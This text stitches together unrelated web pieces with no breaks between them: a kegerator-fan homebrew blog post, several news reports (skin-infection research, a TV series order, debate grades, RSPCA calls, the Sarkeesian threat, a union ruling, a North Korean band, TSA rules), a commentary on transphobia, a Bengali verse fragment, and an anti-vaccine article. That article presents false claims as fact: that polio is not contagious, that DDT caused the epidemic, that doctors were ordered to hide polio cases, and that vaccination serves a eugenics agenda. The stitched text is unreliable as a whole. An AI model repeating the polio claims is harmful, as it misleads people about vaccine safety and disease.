The top reading about mid keg and the bottom reading is the top the top of my beer lines. These are about 22″ apart. This graph shows a point in time variance between the two of 14.9 degrees F. My beer is about the temperature I want it, but the top of my serving line is much warmer. That difference in temperature causes the first pint to have too much foam. Pours that happen soon after the first are fine. The tubing, shank and beer are relatively cool.
The setup. I have two temperature probes in my kegerator. One is zip-tied to the top of a beverage line. The other is zip-tied to a can of beer. That’s how I have kept the probe in my kegerator for a long time with the thinking that the mass of the can of beer will help to stabilize temperature readings and give overall stable and accurate readings. That can is sitting on the compressor hump of my Kenmore Deep Freeze (8.8 Cu ft Model 16932, out of production). That puts it about mid keg.
I placed the fan on my CO2 tank, leaning up against a keg. Yes, you will notice that there’s no beer in the keg. That keg was formerly filled with 1 Hr IPA and I’m sad it’s gone. More Beer’s M-80 IPA is in the fermenter now.
I used AC Infinity’s Pre-Wired LS8038A-X 115 Volt AC Fan, because it is reasonably priced, gets great reviews and it’s already setup to use AC. I will say… My guess is that the manufacturer would not recommend this application. If you decide to do something similar, proceed as you see fit. I’m only telling you what I am doing myself.
Results…
This graph illustrates the effects of adding the recirculation fan inside of my kegerator. Prior to the fan, the tubing temperature spiked to around 55.4 deg F. After the deep freeze kicked on, the tubing dropped to around 53.15 deg F. Not a big change. That averages out to 54.275 deg F.
You can see the point in this graph where the fan is turned on. The temperature drops sharply. The new is high 47.3 deg F and the new low is 42.13 deg F for an average of 44.715 deg F.
Before – Avg Tubing Temp = 54.275, Avg Mid Keg Temp = 38.83, Dif = 15.445 deg F
After – Avg Tubing Temp = 44.715, Avg Mid Keg Temp = 38.89, Dif = 5.825 deg F
The recirculation fan dropped my tubing temperature by 9.62 deg F (62%). Practically speaking, that difference is enough to make every pint pour right. My first pint pours correctly… I like that!
More photos…
A look down. You can see my Eva Dry E-500 (Hands on Review) standing by taking care of condensation. I’ve heard from others that a recirculation fan makes the Eva Dry work even better. My kegerator has remained dry (with the help of the Eva Dry) since installing the fan.
A look down my collar. As you can see, I’m no wood worker. Having said that, I spent a lot of time working on the fit and finish of this collar. The end result was good. If you let the deep freeze door fall shut the resulting noise, sounds like a factory seal sort of thump. I did put weather stripping on the bottom to seal between the collar and the deep freeze. Adding insulation to the collar would, presumably, also help maintain temperatures and reduce foaming.
Reader Feedback: Google+ Friend Justin Says: “I use the same fan in my keezer and it works great.”
Update: As of Otober of 2016 my same fan continues to work great. It has been running continuously in my kegerator for over a year straight. Note – I use an Eva-dry E-500 in my kegerator to held handle kegerator condensation. See: Handling Kegerator Condensation with the Eva Dry E-500. I theorize that keeping condensation under control may play a big part in fan longevity.
AC Infinity LS8038A-X Standard Cooling Fan, 115V AC 80mm by 80mm by 38mm Low Speed – via Amazon
Related: Tips & Gear for your Kegerator | Balancing Your Draft System | Temp Probe Placement | Handling Kegerator Condensation with the Eva Dry E-500 | What’s the Difference Between Ball Lock Kegs and Pin Lock Kegs?
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Researchers develop new treatment to prevent bacterial skin infections
New treatment can work on antibiotic-resistant ‘superbugs’, such as MRSA
Unlike conventional antibiotics, new therapy doesn’t directly kill bacteria, so doesn’t encourage evolution of resistance
Scientists have developed a pioneering new treatment to prevent bacterial skin infections, which could be used in the battle against ‘superbugs’, such as MRSA.
The new treatment, developed by researchers at the University of Sheffield and funded by Age UK, is a new way to prevent skin wounds, such as bed-sores and ulcers, becoming infected.
This new treatment has been proven to work on antibiotic-resistant bacteria, such as MRSA, which is currently one of the biggest threats to global healthcare and medicine.
Bacterial skin infections are a major problem for older people and people with chronic health conditions, such as diabetes. Infected wounds heal more slowly, causing pain and distress for the patient, and are a significant cost to the NHS in the UK.
To launch an infection, bacteria attach tightly to skin cells and have learned to hijack ‘sticky patches’ on human cells to achieve this. Using proteins called tetraspanins , from human cells, the Sheffield scientists have made these patches much less sticky, allowing bacteria to be harmlessly washed away.
The research has shown that these proteins prevent bacterial infections in a model of human skin, which the scientists say give a clear indication that this treatment is both safe and effective.
This treatment was trialled on a model of 3D tissue engineered skin (TEskin) developed by engineers at the University.
The engineered skin, pioneered by Professor Sheila MacNeil from the University’s Department of Materials Science and Engineering, can model infected wounds in human skin and mimics the tissue structure of normal adult skin. It can be used to analyse the penetration of peptides and bacteria.
This research is a new way to fight bacteria that does not add to antibiotic resistance. Rather than try to kill bacteria, this approach uses a knowledge of how they normally attach to skin cells to reduce their ability to attach. Professor Sheila MacNeil
Dr Pete Monk from the University’s Department of Infection, Immunity and Cardiovascular Disease, who led the study, said: “This development is a huge breakthrough in the fight against antibiotic-resistance.
“Skin infections, such as bed-sores and ulcers, can be incredibly troubling for patients who may already be dealing with other debilitating conditions. They are also a significant problem for modern healthcare.
“We hope that this new therapy can be used to help relieve the burden of skin infections on both patients and health services while also providing a new insight into how we might defeat the threat of antimicrobial drug resistance.
“The therapy could be administered to patients using a gel or cream and could work well as a dressing. We’re hoping it can reach clinical trials stage in the next three to five years.”
Unlike conventional antibiotics, the tetraspanin proteins do not directly kill bacteria and so do not encourage the evolution of resistance.
Now, with substantial research funding from the Humane Research Trust, Sheffield scientists are developing the proteins for new anti-bacterial dressings that will help keep wounds sterile and so promote more rapid healing.
This development further cements the University’s position at the forefront of world-class research into infectious diseases. Sheffield scientists are developing radical solutions to global problems of disease and antimicrobial resistance as part of projects including Florey and Imagine. These are signature research projects addressing some of the world’s biggest biomedical problems.
The research Peptides from Tetraspanin CD9 Are Potent Inhibitors of Staphylococcus Aureus Adherence to Keratinocytes is published in the journal PLOSOne on 29 July 2016.
It's official: Fox is moving forward with its Batman prequel series Gotham.
The network announced Monday that it has ordered the Ben McKenzie starrer to series.
Based on characters from the DC Comics universe, including a young Bruce Wayne (David Mazouz), Penguin (Robin Lord Taylor), Riddler (Cory Michael Smith) andCatwoman (Camren Bicondova), the drama explores the origin stories of Commissioner James Gordon (Southland's McKenzie) and the villains that made Gotham famous.
The drama boasts a cast that also includes Donal Logue as Det. Harvey Bullock, Jada Pinkett Smith as Fish Mooney, and the series looks to reveal an entirely new chapter that has yet to be told.
From Warner Bros. Television, The Mentalist's Bruno Heller penned the pilot, which was directed and exec produced by Emmy nominee Danny Cannon. John Stephens will also serve as an exec producer on the series.
PHOTOS: Fox's 'Gotham': Meet the Characters From the Batman Prequel
The series pickup comes as little surprise as Fox handed out a hefty series commitment to the project, meaning the network would have had to pay a hefty penalty had the buzzy Gotham not been ordered to series. Gotham was considered a frontrunner to gain the series order since the project was first announced.
Gotham becomes Fox's third new drama series order for the 2014-15 television season, joining Hart Hanson's Rainn Wilson starrer Backstrom, which was picked up straight to series after being developed for CBS last year; and ancient Egypt drama Hieroglyph, which was also picked up straight to series with a 13-episode order. It joins a slate of hourlong series that includes The Following, Glee and Sleepy Hollow.
Speaking to reporters in January at the Television Critics Association's winter press tour, Fox entertainment president Kevin Reilly said the series will explore other characters from DC's massive Batman collection.
"This is not one of the things where you bought a franchise and then none of characters people know," Reilly said. "We will follow Bruce Wayne right up until the point where he gets interesting."
Reilly confirmed that Gotham will be as much of an origin story for Batman as for Gordon. "It's Gotham teetering on the edge," he said. "This is all of the classic Batman characters."
PHOTOS: 10 Great Batman Villains
Following the session, Reilly told reporters that the series will be very serialized and not an "adjunct companion" show. "This is the Batman franchise just backing it up," he said, noting that he'd like to see the series with a 22-episode order. "It gives a real focus as to what this show is about and what stories we're telling."
Gotham joins a growing roster of comics heroes on the small screen. The CW has found success with DC's Arrow and is developing a Flash spinoff that will likely be ordered to series this week. ABC is also expected to renew Marvel drama Agents of SHIELD and potentially add Captain America spinoff Agent Carter to its lineup. Not to be outdone, Netflix is teaming with Marvel to develop four series and a mini featuring some of its most beloved characters. DC Comics also has several other properties in development at various broadcast and cable networks.
Email: Lesley.Goldberg@THR.com
Indeed, I thought Clinton did reasonably well in Las Vegas, and so did my FiveThirtyEight colleagues. As with the Republican debate last month, I asked them to grade each candidate’s performance from A+ to F based on how much each candidate helped his or her chances of winning the nomination. On average among 15 ballots, Clinton’s grade was an A- (I gave her a B+), ahead of Bernie Sanders, who averaged a B for a solid second place. Martin O’Malley (C+), Jim Webb (D+) and Lincoln Chafee (D) were well behind.
CANDIDATE AVERAGE GRADE HIGH GRADE LOW GRADE Hillary Clinton A- A B Bernie Sanders B A- C+ Martin O’Malley C+ A- D Jim Webb D+ B F Lincoln Chafee D C F
But Clinton was far from perfect. She gave ambiguous or evasive answers on several questions, such as on marijuana legalization and health care benefits for children of immigrants who entered the country illegally. On other questions, she gave answers that might have played well to liberal Democrats but which might not be received as favorably by general election voters (such as saying she’d “make the wealthy pay” for paid family leave and other welfare programs). Sanders gained more Twitter followers during the debate than Clinton, meanwhile, and got considerably more Google search traffic.
Put another way, Clinton gave about the performance that might reasonably have been expected from a frontrunner who gained a ton of experience as a debater during the 2008 Democratic primary: pretty good. Poised, polished and highly competent at appealing to various segments of the Democratic electorate. But also risk-averse and without all that many high notes.
The media judged Clinton’s night to be way better than “pretty good.” CNN’s Van Jones declared Clinton’s performance to be “flawless” and compared her to Beyoncé. Mark Halperin gave Clinton a perfect A. The New York Times, which has been very tough on Clinton, was full of praise for her.
So you can expect the “Clinton comeback” narrative to prevail over the “Clinton in disarray” narrative — at least for a few news cycles.
The difference between FiveThirtyEight’s view of the debate and Mark Halperin’s or The New York Times’ is that we’ve been skeptical of the “Clinton in disarray” narrative for a long time. While Clinton’s nomination isn’t “inevitable,” she has a lot of things going for her, with near-unanimous support from the Democratic establishment, high favorability ratings among Democrats (even as her ratings have fallen among independents), and a solid lead in national polls that appears to have stabilized recently. Nor are her opponents in much of a position to topple her. Sanders has won plenty of support from white liberal Democrats, but not very much from Hispanics, African-Americans or white moderates. Joe Biden isn’t running yet and would have lots of potential problems if he did, especially given his extremely late start to the race. Martin O’Malley is at 0.4 percent in the RealClearPolitics polling average.
From our vantage point, then, declaring a “Clinton comeback” is a bit like declaring Tom Brady or LeBron James to be the comeback player of the year. Clinton didn’t have anything to come back from; she was winning the nomination race before last night’s debate — by a lot.
The animal protection charity said the number of calls to its emergency 24-hour Cruelty telephone line had increased by 50 per cent since 2011, making the job of identifying the most important and time-sensitive cases vitally important.
It’s fair to say that some calls are easier to dismiss than others.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
RSPCA chief inspector Dermot Murphy said: “Like many charities we are facing a big rise in calls at a time when our resources are under most strain.
“In one recent case we had a call from someone who was convinced they had a rat in their kitchen, which they thought was unwell as it hadn’t moved in some time. When we arrived our inspector soon discovered it was in fact an onion that had rolled out of their shopping bag and onto the floor.”
The RSPCA has just 500 frontline officers to deal with the entire of England and Wales – and on average receives a call every four seconds.
In the past three months, these have included someone who was convinced they had seen a monkey in a rabbit suit, and wanted the charity to investigate.
Shape Created with Sketch. In pictures: The most ridiculous calls to the RSPCA Show all 5 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: The most ridiculous calls to the RSPCA 1/5 Monkey rabbit Someone who thought they had seen a monkey in a rabbit suit and wanted the RSPCA to investigate 2/5 Onion mouse Someone who was convinced they had a rat in their kitchen, which they thought was unwell as it hadn’t moved in some time. When we arrived our inspector soon discovered it was in fact an onion -that had rolled out of their shopping bag and onto the floor 3/5 Satellite cat A call involved a woman who was concerned about a cat up on a roof - when we arrived it transpired it was a satellite dish. (I am just creating an image of this at the moment - if you would like it?) 4/5 Birthday guest The woman who wanted someone from the RSPCA to come along to her birthday lunch as a guest 5/5 Offended dogs Person upset that they had overheard someone refer to their cross-breed dog as a ‘mongrel’ - which they felt was insulting 1/5 Monkey rabbit Someone who thought they had seen a monkey in a rabbit suit and wanted the RSPCA to investigate 2/5 Onion mouse Someone who was convinced they had a rat in their kitchen, which they thought was unwell as it hadn’t moved in some time. When we arrived our inspector soon discovered it was in fact an onion -that had rolled out of their shopping bag and onto the floor 3/5 Satellite cat A call involved a woman who was concerned about a cat up on a roof - when we arrived it transpired it was a satellite dish. (I am just creating an image of this at the moment - if you would like it?) 4/5 Birthday guest The woman who wanted someone from the RSPCA to come along to her birthday lunch as a guest 5/5 Offended dogs Person upset that they had overheard someone refer to their cross-breed dog as a ‘mongrel’ - which they felt was insulting
Another person phoned to complain about the use of language which some dogs may find offensive. The caller had overheard a member of the public describe their cross-breed canine as a “mongrel”, and felt that this apparently insulting language should be classed as abuse.
One caller somewhat disconcertingly said they wanted advice from the charity on watching foxes mating, asking for specific information on what they could expect to see and hear.
Finally, one woman called the Cruelty telephone line to ask if an RSPCA officer could be sent out to accompany her as a guest to a birthday lunch.
Mr Murphy said: “Many of these calls are not made in malice, and of course much as we would like to help everyone, we simply haven’t got the staff to personally investigate each and every issue that the public brings to us, so we must prioritise to make sure we get to the animals most in need.”
In addition to its usual workload, the RSPCA helped more than 2,000 animals stranded by the floods in the south and west at the start of the year.
Other calls which didn't make the top five
* Caller annoyed that her cat wasn't responding to it's name.
* Lady who wanted RSPCA to phone her son and tell him to walk the dog.
* Caller wanted charity to go round to her friends and get her RSPCA catalogue back because her friend has had it for ages.
* Caller wanted the times for the bus to RSPCA Putney animal hospital.
* Someone called the national emergency line about a bag of clothes that hadn't been collected for the charity shop.
* Caller wanted a list of educational "animal -themed" places she could visit in the area.
* Caller wanted RSPCA to try and help her get a council house, so she could get a pet (as her rented house did not allow it).
The RSPCA also highlighted an older (but very memorable) call which involved a woman who was concerned about a cat up on a roof.
When the charity's officers arrived it quickly became apparent that it was, in fact, a satellite dish.
If you have a genuine call about animals in immediate danger of abuse and neglect, the Cruelty number is 0300 1234 999. To donate, visit the RSPCA website.
We’ll tell you what’s true. You can form your own view.
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A transgender violinist will perform at Carnegie Hall in New York next week, following a successful crowdfunding campaign
Tona Brown, a violinist and mezzo-soprano, will be the first openly trans woman of colour to ever play the iconic venue next Wednesday, after raising nearly $4000 on IndieGoGo.
She told Huffington Post: “The concert is called ‘From Stonewall to Carnegie Hall’ because we want to educate people about the plight of LGBT Americans, from 1969 to the present, through music and speech.
I have dreamed of performing at Carnegie Hall since I was 14 years old, when I was attending the Governor’s School for the Arts in Norfolk, Virginia.”
“It was there at the Governor’s School, that I realized that if I practiced, and studied with the best, one day I could perform at Carnegie Hall.
“My first reaction to the news that our proposal was approved by Carnegie Hall was amazement… I couldn’t believe that we got a yes!
“I started tearing up while telling my friends, because I thought of all the great artists who have crossed that stage.
“Many of them had enormous obstacles to overcome, like I do as a transgender person of colour in America.”
According to GLAAD, Brown has had an accomplished career, starring as La Principessa in the opera Suor Angelica, performing the National Anthem for Barack Obama, and landing a recurring role in yet-to-be-announced Netflix series City Lightz.
Watch Brown perform Amazing Grace below:
Brahmanas, and Vaisnavas, Sannyasis, and householders,
all had the same fate, and cows were massacred along with men.
Chhele ghumalo, paada judaalo bargi elo deshe
Bulbulite dhaan kheyechhe, khaajnaa debo kishe?
Dhaan phurolo, paan phurolo, khaajnaar opay ki?
Aar kotaa din shobur koro, roshoon boonechhi
The message, sent to about a dozen school offices late Monday night, threatened "the deadliest school shooting in American history" if Anita Sarkeesian, a feminist known for her critical look at how women are portrayed in popular media, is allowed to speak at the school.
The email, provided to the Deseret News by USU, purports to have been written by a student with access to a semiautomatic rifle, several pistols and pipe bombs.
"I'm giving you a chance to stop it," the message reads, demanding that Sarkeesian's presentation be canceled.
Sarkeesian was invited by USU's Center for Women and Gender to speak Wednesday as part of the school's weekly Common Hour presentation series. The speech had been scheduled to take place as planned until Sarkeesian contacted the school and canceled Tuesday night.
Sarkeesian asked school officials whether firearms would be allowed in the auditorium where she was scheduled to speak. USU officials replied that, in accordance with Utah law, anyone with a valid concealed carry permit would be able to enter with a gun, according to a statement released by the university.
On Twitter, Sarkeesian said she requested pat-downs or metal detectors for those coming to the presentation but was denied based on Utah's firearms laws.
"Forced to cancel my talk at USU after receiving death threats because police wouldn't take steps to prevent concealed firearms at the event," she tweeted.
The email was one of several threats made regarding the USU appearance, Sarkeesian said on Twitter. One of them specifically referenced "GamerGate," an ongoing conflict over sexism in video game culture, she said.
"I'm safe. I will continue my work. I will continue speaking out. The whole game industry must stand up against the harassment of women," Sarkeesian said.
State and local law enforcement, the FBI and other specialists were contacted as soon as the email was discovered, USU spokesman Tim Vitale said. Those who reviewed the message say it is unlikely a USU student sent it and that the threat is consistent with others that Sarkeesian has received in the past, Vitale added.
The sender has not been identified, and the investigation is ongoing.
"We are an institution of higher learning. We educate people. This is what we do. In this case, we invited a nationally known speaker who is bringing an interesting perspective about an important topic," Vitale said.
Increased security measures were already in the works before USU received the email in light of threats made against Sarkeesian in the past.
Sarkeesian is the founder of Feminist Frequency, a Web series that looks to deconstruct female stereotypes in pop culture, as well as harassment of women online and in video gaming.
The writer of the threatening email calls Sarkeesian "everything wrong with the feminist woman" and blames feminism for the emasculation of Western men. The message also refers to Marc Lepine, the gunman behind a deadly attack against women at a Canadian university in 1989, as a hero and promises a similar shooting at USU, specifically referencing Sarkeesian, attendees at the presentation, and students and staff at the women's center.
“This case presents the question whether the First Amendment permits a State to compel personal care providers to subsidize speech on matters of public concern by a union that they do not wish to join or support,” wrote Justice Samuel Alito for the majority. “If we accepted Illinois’ argument, we would approve an unprecedented violation of the bedrock principle that, except perhaps in the rarest of circumstances, no person in this country may be compelled to subsidize speech by a third party that he or she does not wish to support.”
The ruling is a substantial setback to public sector unions, a bulwark of organized labor’s fading power, a key constituency for the Democratic Party, and a top target for the conservative movement. The White House, in a statement, said the decision “will not only make it significantly harder for these dedicated employees to get a fair shake in exchange for their hard work, but will make it harder for states and cities to ensure the elderly and Americans with disabilities get the care they need and deserve.”
In 2003, Illinois passed a law that substantially strengthened the unions by recognizing home health-care workers providing rehabilitation services as public employees and allowing them to be represented by the Service Employees International Union. The workers are paid through the federally funded Medicaid program, but the court ruled that they are “partial public employees” and therefore can’t be compelled to contribute to the unions.
“Other than providing compensation, the State’s role is comparatively small,” Alito wrote.
The workers weren’t compelled to join the union, but even if they didn’t money was deducted out of their paycheck to pay union dues, because the union ultimately represents them in negotiations with management over pay and working conditions – by law the money cannot be used for the union’s political activities.
In 2009, Illinois Democratic Gov. Pat Quinn added a new category of home health-care workers, those performing disability services, to those eligible for unionization.
The law was challenged by a group of home health-care workers who didn’t want to pay union dues and argued being forced to violated their First Amendment rights, a cause that was then taken up by the anti-labor National Right To Work Legal Defense Foundation.
A 1977 Supreme Court decision, Abood v. Detroit Board of Education, upheld automatic deduction of dues as long as the money is not used for political purposes.
At oral argument, the group urged the justices to overturn that decision. The court did not do so – though the majority refers to its “foundations” as “questionable” – but it did make it substantially harder for public sector unions to organize.
“The good news out of this case is clear: The majority declined that radical request. The Court did not, as the petitioners wanted, deprive every state and local government, in the management of their employees and programs, of the tool that many have thought necessary and appropriate to make collective bargaining work,” wrote Justice Elena Kagan in a dissent joined by the other Democratic appointees. “The bad news is just as simple: The majority robbed Illinois of that choice in administering its in-home care program.”
The Roberts court has in the past offered warnings of its future intentions to gut prior precedents or laws that have been upheld, such as when it upheld a key section of the Voting Rights Act in 2009 before striking it down in 2013. By calling the Abood decision “questionable,” the conservative majority may very well be signalling its intention to overrule it in the future.
By Tami Canal
Many people I talk to agree that the current CDC vaccination schedule is appalling. These same people commonly acknowledge that vaccines for HPV or the flu are ineffective and cause much more harm than good.
However, many of these seemingly intelligent people fall into the “But, Polio” crowd.
Despite evidence that polio was on the decline long before the introduction of the vaccine, and that sanitation and plumbing improvements are likely the reason for the decline of the disease as opposed to a carcinogenic syringe filled with neurotoxins and environmental pesticides, far too many people still hail the polio vaccine as one of the greatest accomplishments of 20th century medicine.
If you are one of those people who has ever stated “but, what about polio?”, this is for you.
1. The first polio vaccine was developed by Dr. Jonas Salk. Human experiments using this vaccine were conducted purposely on orphans in government/church run institutions because they were vulnerable and didn’t require parental consent signatures, as they had no parents.
The vaccine was “declared safe” (as they always are), but tragically, that vaccine gave 40,000 orphans polio and permanently paralyzed hundreds of others. At least 10 children died as a result of vaccine-induced polio. All injuries and deaths were under-reported of course by the same authorities who orchestrated the atrocity. (This is known as The Cutter Incident.)
“In retrospect, a good deal of the blame for the vaccine snafu also went to the National Foundation (for Infantile Paralysis), which, with years of publicity, had built up the danger of polio out of all proportion to its actual incidence, and had rushed into vaccinations this year with patently insufficient preparation.” ~Time Magazine: Monday, May 30, 1955
2. In 1956, the AMA (The American Medical Association) instructed every licensed medical doctor that they could no longer classify polio as polio, or their license to practice would be terminated. (Source)
Any paralysis was now to be diagnosed as AFP (acute flaccid paralysis) MS, MD, Bell’s Palsy, cerebral palsy, ALS (Lou Gehrig’s Disease), Guillian-Barre, etc., etc., etc. When all other lies failed, doctors were instructed to say that the paralysis was “rare” and that further research would be necessary.
This was an intentional deception to make the public believe polio was eradicated by the polio vaccine campaign, but because the polio vaccine contained toxic ingredients directly linked to paralysis, polio cases (not identified as polio) were skyrocketing…but only in vaccinated areas.
Anyone who believes that polio was eradicated by vaccination is simply brainwashed and is perpetuating a lie that known liars have maliciously created to propel a eugenics agenda. (Ask yourself what the Rockefeller Family, the Federal Reserve Bank, and the polio vaccine all have in common. And then read this.)
3. In 1945, against the warnings of researchers who had studied the neurotoxic compound and found it dangerous for all forms of life, DDT was released across the globe for general use by the public as an insecticide. Coincidentally, documented evidence shows DDT is more likely the true cause of the polio epidemic. Vactruth.com recently published an infographic on their site that shows a definite correlation between the use of pesticides and polio outbreaks, the largest of which occurred in 1952. (Click here to see the graph.)
-Polio outbreaks occurred in July and August i.e. during pesticide spraying times–NOT the sunless and damp winter/spring seasons like other disease outbreaks.
-There are numerous documented accounts of parents finding their children paralyzed in and around apple orchards. One of the most heavily pesticide-sprayed crops of the time were apples. (Lead arsenate and/or copper arsenate pesticides were widely used on orchards during this time.)
-The most famous polio victim is likely President Roosevelt, but few know the details surrounding his paralysis. Roosevelt became paralyzed literally over night while on his farm one summer, which contained many crops, including apple orchards. He also swam the entire day prior in a bay that was heavily polluted by industrial agricultural run off.
-Polio is not contagious. Polio has ZERO ability to spread from infected victims to the uninfected. Polio infected clusters of people in the exact same areas, suddenly and swiftly.
-Dr. Ralph Scobey and Dr. Mortind Biskind testified in front of the U.S. Congress in 1951 that the paralysis around the country known as polio was being caused by industrial poisons and that a virus theory was purposely fabricated by the chemical industry and the government to deflect litigation away from both parties.
For more information on the great polio vaccination scam, please read these fantastic articles by clicking here, here, here, and here.
Please join us as we expose the largest public health experiment ever conducted. Your children are already a part of the experiment…and you’re next!! Register to watch the FREE 9-part docu-series right NOW by clicking here.
In a highly anticipated interview, Jenner told Diane Sawyer that “for all intents and purposes, I am a woman.”
Immediately following the interview some ‘loving Christians’ condemned Jenner as an abomination and in need of Jesus. Many patronizing and condescending Christians on social media sites like Twitter and Facebook simply repeated messages such as:
Bruce Jenner needs Jesus So people find this brave & normal? The world is going bad! A total mess! Jesus is coming back soon! #FixItJesus #BruceJenner I know this is strange, but my heart grieves for Bruce Jenner. I pray that he finds Jesus because only He can break every chain!! The #Perversions never end and just gets worse…that’s why God calls it an #Abomination…Live & let live – yes! Glorify – No! #BruceJenner We Christians KNOW if you were born a man, you ARE a man. If you were born a woman, you ARE a woman, period!!! Bruh #BruceJenner is a fuckin abomination and he is going to hell tbh idc what ppl say if u believe in God u live with what he made u
One particularly heinous example of bashing Jenner for being transgender comes from a blog posted here at Patheos. Catholic blogger Kathy Schiffer, writing at Seasons of Grace, minced no words in expressing her bigotry and contempt towards Jenner and other transgender individuals.
The following is an excerpt from Schiffer’s post:
Bruce Jenner is a man. He will always be a man. He may be a man who’s been surgically altered (ouch! just thinking about it!), but he’ll still be a man. He may grow long hair, have his Adam’s apple surgically removed, take hormones to enhance breast growth, and paint his fingernails; but he’ll still be a man. Every single cell in his body contains XY chromosomes, and no amount of chemical or surgical or psychological manipulation will change that. His skin is male; his fingernails are male; his chest hair is male, as are his feet, his nose, his eyeballs. Bruce Jenner is not a woman. He may be a sad, physically mutilated and psychologically troubled man–but a man he is.
Schiffer’s uninformed and uneducated opinion why Jenner will never be a woman is cruel and mean-spirited, and reveals an astonishing lack of intellect, character, and human decency.
Schiffer takes the opportunity to openly persecute and humiliate Jenner, and by extension all transgender people, in a vicious and ugly rant dripping with the smug self-satisfaction that only the religiously deluded can manage.
Schiffer’s unseemly rant is a paradigmatic example of transphobia. It is the exact kind of attitude and argument that drives so many transgender kids and adults to suicide.
Yet Schiffer is not alone in her prejudice and bigotry towards transgender individuals. Indeed, she represents a common type of religious fundamentalist that will always condemn and attack that which they do not understand.
And while Schiffer may represent an ugly reality, it is important to note that not all Christians express bigotry and contempt for transgender individuals. Indeed, the ironic fact is that Jenner identifies as a Christian, as do many other transgender individuals. The fact is, many Christians are good and decent people who accept and love transgender individuals.
However, one need only recall the tragic life and death of Leelah Alcorn to understand that the kind of open hostility and cruelty towards transgender people expressed by Schiffer and other religious extremists often have real and tragic consequences.
(Note: At this time, Bruce Jenner has not yet chosen to publicly identify as a woman, hence the author’s use of the male pronoun in the opening paragraph.)
Chinese censors objected to Moranbong band calling US an ‘ambitious wolf’ and glorifying Korean war, says source
A North Korean pop group cancelled its Beijing concerts last week when Chinese authorities objected to “anti-American” lyrics in the show, said a source with ties to both countries.
The Moranbong band was visiting China with the State Merited Chorus and had been due to perform in Beijing on 12 December, but cancelled three hours before the show was to start.
North Korea to face the music after cancelling Moranbong shows Read more
The source said that Chinese censors had not approved of references to the United States an “ambitious wolf”, and lyrics which glorified the 1950-53 Korean War.
“China did not ask that the lyrics be changed but it did not pass screening by censors,” said the source, who declined to be identified due to the sensitivity of the subject. “China was of the view that the lyrics would unnecessarily provoke the US.”
China has tried to act as a broker between the United States and North Korea and has repeatedly attempted to get the rivals to cool their rhetoric.
The Moranbong Band is Kim Jong-un’s pet project, founded as part of an ambition to put his personal stamp on North Korean arts, and the short haircuts of the group’s young women members are trend-setting in the capital, Pyongyang.
The ensemble, whose members were reportedly handpicked by Kim, was formed in 2012, with the China shows to be their first overseas outing.
China’s official Xinhua news agency has said the performance could not be staged because of “communication issues at the working level”.
The Chinese Foreign Ministry spokesman refused to comment on the latest claim.
China and North Korea were allies in the Korean War against a US-led coalition and South Korea, and some Chinese veterans of that war had been invited to the concert.
The North Koreans considered the Chinese officials invited to the event to be too low-ranking, the source added.
The North Koreans protested after the censor disapproved of the lyrics, refusing to change them and returning home after consulting Kim, the source said.
Beijing invited the group to thank North Korea for hosting senior Chinese official Liu Yunshan at a military parade marking the 70th anniversary of the ruling Workers’ Party in Pyongyang, the source said.
Chinese authorities paid for plane tickets and accommodation for the band.
North Korea has not commented on the cancelled show, but analysts say the move was a setback for relations between the countries.
Americans for Prosperity (AFP) now sees children flying kites as a major threat to society.
Earlier today, I opened my email box to find an uproarious AFP promotion for protests in Asbury Park and Ocean City, N.J., this Friday.
What are they so upset about?
An event so dastardly and maniacal, it has the potential to tear down everything we love about our freedoms as Americans. I almost couldn’t stomach it when I found out more.
Yes, it’s “extremist” kids flying kites in support of offshore wind energy.
Don’t worry, AFP is on the case (as explained on their website, accompanied by a picture of a smoking wind turbine):
You heard that right! Friday is “Global Wind Day” and environmental extremists throughout New Jersey will be celebrating by flying kites at beaches along the Jersey Shore and calling for more and more of our tax dollars to be used to subsidize their crazy offshore wind pipe dreams! AFP will be going toe to toe with the environmental extremists to combat their radical agenda and tell the truth about the costs of offshore wind.
Yes, that’s right. With monetary assistance from the Koch brothers, AFP will be going toe-to-toe with these kite-flying kids who represent such a threat to the free market.
Here’s how the Sierra Club describes the event in support of Global Wind Day: “We’ll be gathering at a beach near you for a kite-flying rally and celebration of NJ’s offshore wind potential. Bring your family, friends and kites.”
The horror!
In order to combat these “extremist” families and their kite-flying antics, AFP is throwing in all the resources it can — chartering six buses (yes, six) to bring people in from around the state.
The new cool way to get high is "Beezin," or the act of putting Burt's Bees lip balm wax on the eyelids.
According to Fox-25, kids say that the sensation causes disorientation similar to being drunk or stoned and even strengthens their attention spans.
But Dr. Brett Cauthen told the Oklahoma City news station that it's probably just the feeling of the lip balm's ingredients on the eye that makes the kids laugh.
"It's the peppermint oil that's causing the burning sensation and I suppose some people think that is kind of funny," he said.
It's almost as funny as giving yourself pink eye to amuse your friends.
"The peppermint oil in the lip balm is a very strong irritant and can cause inflammation in the eye redness of the eye swelling," Dr. Cauthen added.
Beezin has apparently been around since 2013, but it seems to be more of a Pop Rocks and Coke kind of thing rather than an addictive habit.
Here's a video of some high school kid nearly beezin his way into blindness last year:
And here is YouTube user Derek Lehmann, who goes by the moniker MakoOsh, rapping about the art of getting a buzz from Burt's Bees in the appropriately titled song, "Breezin":
TSA Administrator John Pistole said in the e-mail the agency wanted to further consult with the airline industry before making the change, according to a person familiar with its contents who wasn’t authorized to speak on the record.
The proposed policy change, announced in March, was designed to align U.S. rules with those in Europe and better reflect intelligence on active terrorist threats, the agency said. Instead, the plan provoked protests from flight attendants, air marshals, executives of the largest airlines and the union representing airport screeners.
The decision to delay the April 25 change comes one week after two bombs went off at the Boston Marathon, killing three people and wounding more than 170.
“Last week’s events in Boston underscore our continued focus on explosive devices,” Pistole said in the note to employees.
“Transportation security officer training will continue to emphasize these and other evolving threats.”
Pistole said he met today with an advisory committee of industry representatives, which includes flight attendants, pilots, airlines and other parties affected by TSA policy. The decision to “temporarily delay” changes to the prohibited- items list was made to incorporate suggestions and continue the necessary training, he said.
The TSA had said that it intended to ease cabin restrictions of items including knives less than 2.36 inches (6 centimeters) long, hockey sticks and golf clubs to match U.S. rules with those in other parts of the world.
Executives from Delta Air Lines Inc., AMR Corp. and US Airways Group Inc. had condemned TSA’s proposed policy change. Unions representing flight attendants, pilots and airport screeners lobbied Congress for a reversal.
Appearing at a March 14 hearing of the House Transportation Security subcommittee, Pistole defended the new policy and the process that led to it, saying it was necessary for the agency to revise procedures as threats change. He also told lawmakers that responsibility to control passengers rested with the airlines, not the agency.
